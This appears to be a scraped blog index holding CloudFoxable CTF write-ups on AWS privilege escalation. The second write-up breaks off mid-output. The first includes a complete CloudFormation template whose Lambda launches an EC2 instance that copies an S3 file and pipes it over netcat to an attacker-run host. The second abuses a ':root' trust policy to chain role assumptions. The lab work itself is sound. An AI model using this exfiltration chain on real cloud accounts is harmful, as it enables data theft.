cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;iam:PassRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Deny\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:iam::*:role/aaronson\u0026#34;, \u0026#34;arn:aws:iam::*:role/my-app-role\u0026#34;, \u0026#34;arn:aws:iam::*:role/producer\u0026#34;, \u0026#34;arn:aws:iam::*:role/ream\u0026#34;, \u0026#34;arn:aws:iam::*:role/sauerbrunn\u0026#34;, \u0026#34;arn:aws:iam::*:role/swanson\u0026#34;, \u0026#34;arn:aws:iam::*:role/lambda_*\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; } } What this means so far, is that cloudformation has full access over lambda, and that it can pass another role to it. Now I need to find a role that allows lambda.amazonaws.com to assume it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles | map({Arn,AssumeRolePolicyDocument})\u0026#39; ... { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/brian_mcbride\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;Service\u0026#34;: \u0026#34;lambda.amazonaws.com\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, ... adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name brian_mcbride --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;pain3-ec2-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/pain3-ec2-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSLambdaBasicExecutionRole\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain3-ec2-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;ec2:RunInstances\u0026#34;, \u0026#34;ec2:DescribeInstances\u0026#34;, \u0026#34;ec2:TerminateInstances\u0026#34;, \u0026#34;ec2:Describe*\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; }, { \u0026#34;Action\u0026#34;: [ \u0026#34;iam:PassRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; }, { \u0026#34;Action\u0026#34;: [ \u0026#34;iam:PassRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Deny\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:iam::*:role/double_*\u0026#34;, \u0026#34;arn:aws:iam::*:role/ec2_privileged\u0026#34;, \u0026#34;arn:aws:iam::*:role/fox\u0026#34;, \u0026#34;arn:aws:iam::*:role/wyatt\u0026#34;, \u0026#34;arn:aws:iam::*:role/reyna\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34; } } Ok, now this essentially means that a lambda function could create an EC2 instance, and pass it another role. The potential attack chain lengthens.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles | map({Arn,AssumeRolePolicyDocument})\u0026#39; ... { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/landon_donovan\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;Service\u0026#34;: \u0026#34;ec2.amazonaws.com\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, ... adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name landon_donovan --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;pain4-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/pain4-policy\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain4-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;s3:GetObject\u0026#34;, \u0026#34;s3:ListBucket\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:s3:::pain-s3-1v1nf\u0026#34;, \u0026#34;arn:aws:s3:::pain-s3-1v1nf/*\u0026#34; ] }, { \u0026#34;Action\u0026#34;: [ \u0026#34;s3:ListAllMyBuckets\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;*\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:08+00:00\u0026#34; } } And finally, an EC2 instance could assume an instance profile that allows it to list an s3 bucket.\nTo summarize everything so far:\nOur user can create cloudformation stacks, and pass them the role tab_ramos Cloudformation can create and invoke a lambda function, and pass it the role brian_mcbride A lambda function with the aforementioned role can run an EC2 instance, and pass it the role landon_donovan The EC2 instance could then read from an S3 bucket For this challenge, with the help of trusty Claude AI, I\u0026rsquo;ve built a cloudformation template that automates all of that, and tells the EC2 instance to send the flag.txt file to another EC2 instance I use as an exfiltration point.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Description: \u0026gt; Stack that creates a Lambda function which launches an EC2 instance. The EC2 instance reads from S3 and sends the listing + all file contents to a remote server via netcat. Parameters: LambdaRoleArn: Type: String Description: the existing IAM role for the Lambda function Ec2InstanceProfileArn: Type: String Description: \u0026gt; ARN of the Instance Profile that wraps Role3 – assigned to the EC2 instance. Format: arn:aws:iam::123456789012:instance-profile/Role3ProfileName S3BucketName: Type: String Description: Name of the existing S3 bucket whose contents you want to list NcHost: Type: String Description: Hostname or IP of the netcat receiver NcPort: Type: Number Description: TCP port the netcat receiver is listening on Ec2AmiId: Type: String Default: ami-096a4fdbcf530d8e0 Description: \u0026gt; AMI ID for the EC2 instance. Default is Amazon Linux 2023 in eu-central-1. Ec2InstanceType: Type: String Default: t3.micro Resources: S3ListLambda: Type: AWS::Lambda::Function Properties: FunctionName: !Sub \u0026#34;${AWS::StackName}-s3-list\u0026#34; Runtime: python3.12 Handler: index.handler Role: !Ref LambdaRoleArn Timeout: 30 Environment: Variables: INSTANCE_PROFILE_ARN: !Ref Ec2InstanceProfileArn S3_BUCKET: !Ref S3BucketName NC_HOST: !Ref NcHost NC_PORT: !Ref NcPort AMI_ID: !Ref Ec2AmiId INSTANCE_TYPE: !Ref Ec2InstanceType Code: ZipFile: | import boto3, os, json from urllib.request import urlopen, Request from urllib.error import URLError ec2 = boto3.client(\u0026#34;ec2\u0026#34;) def send_cfn_response(event, context, status, reason=\u0026#34;\u0026#34;, data={}): \u0026#34;\u0026#34;\u0026#34;Signal CloudFormation that the custom resource succeeded or failed.\u0026#34;\u0026#34;\u0026#34; body = json.dumps({ \u0026#34;Status\u0026#34;: status, \u0026#34;Reason\u0026#34;: reason, \u0026#34;PhysicalResourceId\u0026#34;: context.log_stream_name, \u0026#34;StackId\u0026#34;: event[\u0026#34;StackId\u0026#34;], \u0026#34;RequestId\u0026#34;: event[\u0026#34;RequestId\u0026#34;], \u0026#34;LogicalResourceId\u0026#34;: event[\u0026#34;LogicalResourceId\u0026#34;], \u0026#34;Data\u0026#34;: data, }).encode() req = Request(event[\u0026#34;ResponseURL\u0026#34;], data=body, headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;\u0026#34;}, method=\u0026#34;PUT\u0026#34;) try: urlopen(req, timeout=10) except URLError as e: print(f\u0026#34;CFN response failed: {e}\u0026#34;) def handler(event, context): print(json.dumps(event)) # On stack DELETE CloudFormation sends a Delete request – just succeed. if event.get(\u0026#34;RequestType\u0026#34;) == \u0026#34;Delete\u0026#34;: send_cfn_response(event, context, \u0026#34;SUCCESS\u0026#34;) return try: bucket = os.environ[\u0026#34;S3_BUCKET\u0026#34;] profile_arn = os.environ[\u0026#34;INSTANCE_PROFILE_ARN\u0026#34;] ami_id = os.environ[\u0026#34;AMI_ID\u0026#34;] instance_type = os.environ[\u0026#34;INSTANCE_TYPE\u0026#34;] nc_host = os.environ[\u0026#34;NC_HOST\u0026#34;] nc_port = os.environ[\u0026#34;NC_PORT\u0026#34;] user_data = f\u0026#34;\u0026#34;\u0026#34;#!/bin/bash set -e BUCKET=\u0026#34;{bucket}\u0026#34; NC_HOST=\u0026#34;{nc_host}\u0026#34; NC_PORT=\u0026#34;{nc_port}\u0026#34; # Install netcat (not included by default on Amazon Linux 2023) yum install -y nmap-ncat aws s3 cp s3://$BUCKET/flag.txt /tmp/flag.txt cat /tmp/flag.txt | nc -w 5 \u0026#34;$NC_HOST\u0026#34; \u0026#34;$NC_PORT\u0026#34; shutdown -h now \u0026#34;\u0026#34;\u0026#34; resp = ec2.run_instances( ImageId=ami_id, InstanceType=instance_type, MinCount=1, MaxCount=1, IamInstanceProfile={\u0026#34;Arn\u0026#34;: profile_arn}, UserData=user_data, InstanceInitiatedShutdownBehavior=\u0026#34;terminate\u0026#34;, ) instance_id = resp[\u0026#34;Instances\u0026#34;][0][\u0026#34;InstanceId\u0026#34;] print(json.dumps({\u0026#34;launched_instance\u0026#34;: instance_id, \u0026#34;bucket\u0026#34;: bucket})) send_cfn_response(event, context, \u0026#34;SUCCESS\u0026#34;, data={\u0026#34;InstanceId\u0026#34;: instance_id}) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) send_cfn_response(event, context, \u0026#34;FAILED\u0026#34;, reason=str(e)) # Triggers the Lambda exactly once when the stack is created LambdaTrigger: Type: Custom::LaunchEc2Job DependsOn: S3ListLambda Properties: ServiceToken: !GetAtt S3ListLambda.Arn Outputs: LambdaFunctionName: Value: !Ref S3ListLambda Description: Lambda that launches the EC2 job (auto-invoked on stack deploy) I can run this now, with a little helper script to pass in all the variables, ensuring that I first ran the netcat listener on my other EC2 instance.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 export AWS_REGION=\u0026#34;eu-central-1\u0026#34; # change if needed export STACK_NAME=\u0026#34;mystack\u0026#34; export S3_BUCKET=\u0026#34;pain-s3-xtz98\u0026#34; # bucket you want to read export ROLE1_ARN=\u0026#34;arn:aws:iam::129323993607:role/tab_ramos\u0026#34; export ROLE2_ARN=\u0026#34;arn:aws:iam::129323993607:role/brian_mcbride\u0026#34; export ROLE3_PROFILE_ARN=\u0026#34;arn:aws:iam::129323993607:instance-profile/landon_donovan\u0026#34; export NC_HOST=\u0026#34;IPV4\u0026#34; # IP or hostname of your receiving server export NC_PORT=\u0026#34;9999\u0026#34; # e.g. 9999 aws cloudformation create-stack \\ --stack-name \u0026#34;$STACK_NAME\u0026#34; \\ --template-body file://cfn-template.yaml \\ --role-arn \u0026#34;$ROLE1_ARN\u0026#34; \\ --parameters \\ ParameterKey=LambdaRoleArn,ParameterValue=\u0026#34;$ROLE2_ARN\u0026#34; \\ ParameterKey=Ec2InstanceProfileArn,ParameterValue=\u0026#34;$ROLE3_PROFILE_ARN\u0026#34; \\ ParameterKey=S3BucketName,ParameterValue=\u0026#34;$S3_BUCKET\u0026#34; \\ ParameterKey=NcHost,ParameterValue=\u0026#34;$NC_HOST\u0026#34; \\ ParameterKey=NcPort,ParameterValue=\u0026#34;$NC_PORT\u0026#34; \\ --capabilities CAPABILITY_IAM \\ --region \u0026#34;$AWS_REGION\u0026#34; \\ --profile \u0026#34;pulisic\u0026#34; echo \u0026#34;Stack creation started. Waiting for CREATE_COMPLETE...\u0026#34; aws cloudformation wait stack-create-complete \\ --stack-name \u0026#34;$STACK_NAME\u0026#34; \\ --region \u0026#34;$AWS_REGION\u0026#34; \\ --profile \u0026#34;pulisic\u0026#34; echo \u0026#34;Stack created – EC2 instance launched automatically\u0026#34; echo \u0026#34;Watch your netcat listener for incoming data.\u0026#34; Then, I can simply run the script, and if everything has been set-up properly, success will ensure.\n1 2 3 4 5 6 7 8 adicpnn@laboratory cloud % ./pain_setup.sh { \u0026#34;StackId\u0026#34;: \u0026#34;arn:aws:cloudformation:eu-central-1:129323993607:stack/mystack/98f8f250-1ee2-11f1-be96-0aa3466a036b\u0026#34;, \u0026#34;OperationId\u0026#34;: \u0026#34;a1d281c7-3633-403b-a928-cdf17f14bda8\u0026#34; } Stack creation started. Waiting for CREATE_COMPLETE... Stack created – EC2 instance launched automatically Watch your netcat listener for incoming data. 1 2 3 4 5 6 7 8 [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 3.69.165.187. Ncat: Connection from 3.69.165.187:53060. FLAG{pain::pulisic_is_proud_of_you} Nicely done!\nIf you\u0026rsquo;re trying this for yourself, make sure to manually delete the EC2 instance created, as it\u0026rsquo;s created by lambda, not cloudformation, and won\u0026rsquo;t be deleted with the stack.\n","permalink":"https://adicpnn.com/blog/cloudfoxable/pain/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eIn the 2022 FIFA World Cup, Christian Pulisic put his body on the line to net a crucial goal for the USA, ensuring their progression beyond the group stage: \u003ca href=\"https://www.youtube.com/watch?v=Y7VA30UYlQo\"\u003ehttps://www.youtube.com/watch?v=Y7VA30UYlQo\u003c/a\u003e. He did what he had to do, even though he knew it was going to hurt.\u003c/p\u003e\n\u003cp\u003eSimilarly, during a penetration test, whether in a cloud environment or otherwise, you might identify a exploit path that won\u0026rsquo;t be pleasant to exploit, but you know the end result will be worth it.\u003c/p\u003e","title":"Cloudfoxable - Pain"},{"content":" You\u0026rsquo;ve just gained access to the role Kent. Can you get to the root flag in the SSM parameter store?\nInformation Gathering Short and concise challenge details, I will start by preparing a profile for ramos, and checking which policies are attached to it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 adicpnn@laboratory cloud % cat ~/.aws/config| tail [profile kent] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/Kent source_profile = cloudfoxable adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name Kent --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;root-policy1\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/root-policy1\u0026#34; } ] } A single policy attached, let\u0026rsquo;s see what type of access it grants.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/root-policy1 --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;sts:AssumeRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; } } Hmm, I\u0026rsquo;ve been given AssumeRole permissions. This means I need to find another role that has access to the target secret. Let me first find out more details about this secret. There\u0026rsquo;s several parameters in the SSM store, but only one with root in it\u0026rsquo;s name.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 adicpnn@laboratory cloud % aws ssm describe-parameters --profile cloudfoxable { \u0026#34;Parameters\u0026#34;: [ { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/executioner\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/executioner\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.689000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/its-a-secret\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-a-secret\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.734000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/its-another-secret\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-another-secret\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.583000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/lambda-sqs\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/lambda-sqs\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.348000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;/production/CICD/root\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/production/CICD/root\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.575000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, Let\u0026rsquo;s see if there\u0026rsquo;s any resource policy attached to it.\n1 2 3 adicpnn@laboratory cloud % aws ssm get-resource-policies --resource-arn arn:aws:ssm:eu-central-1:129323993607:parameter/production/CICD/root --profile cloudfoxable aws: [ERROR]: An error occurred (AccessDeniedException) when calling the GetResourcePolicies operation: User: arn:aws:iam::129323993607:user/ctf-starting-user is not authorized to perform: ssm:GetResourcePolicies on resource: arn:aws:ssm:eu-central-1:129323993607:parameter/production/CICD/root because no identity-based policy allows the ssm:GetResourcePolicies action Looks like this is not something I can easily find out. I\u0026rsquo;ll have to take another route, looking for what roles Kent might assume, then go from there.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 adicpnn@laboratory cloud % aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles | map({Arn,AssumeRolePolicyDocument})\u0026#39; [ { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/aaronson\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;Service\u0026#34;: \u0026#34;lambda.amazonaws.com\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Alexander-Arnold\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/ctf-starting-user\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Beard\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::129323993607:root\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Kent\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/ctf-starting-user\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, ... ] Note the output of my previous command was truncated for readability. Looking at the results, there\u0026rsquo;s no single role that explicitly allows the Kent principal to assume it, but there\u0026rsquo;s another interesting thing.\nQuoting the AWS Documentation, referencing :root in an IAM role\u0026rsquo;s trust policy might not be self explanatory:\nImportant: If you reference :root in an IAM role’s trust policy, you might allow more principals to assume your role than you intended, so it’s a best practice to use the Principal element or conditions to only allow specific principals or paths to assume a role.\nNote: The suffix :root in the policy’s Principal element equates to the principals in the account, not the root user of that account.\nThis should mean that the role \u0026ldquo;Beard\u0026rdquo; can be assumed by any principal in this account! Note that this is not the case of an explicit allow, and any principal wishing to assume this role must also have an implicit Allow statement in one of it\u0026rsquo;s attached policies for this type of action. Fortunately, the Kent role has this implicit allow statement we observed earlier on.\nThe next step should be straight forward, go and assume the role of Beard. I went ahead and created another profile for this role, this time setting the starting_profile variable to the kent profile.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile beard] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/Beard source_profile = kent adicpnn@laboratory cloud % aws sts get-caller-identity --profile beard { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRID7WWVC6H2G:botocore-session-1773311164\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/Beard/botocore-session-1773311164\u0026#34; } Now I have this role assumed, but I have no clue what permissions it has.\n1 2 3 4 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name Beard --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [] } No policies? Maybe I missed something \u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 adicpnn@laboratory cloud % aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles | map({Arn,AssumeRolePolicyDocument})\u0026#39; ... { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Lasso\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Beard\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, ... Aha! There\u0026rsquo;s another role, assumable only by Beard, this time with an explicit allow statement.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile lasso] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/Lasso source_profile = beard adicpnn@laboratory cloud % aws sts get-caller-identity --profile lasso { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDXLNPL22DM:botocore-session-1773311403\u0026#34;, \u0026#34;Account\u0026#34;: 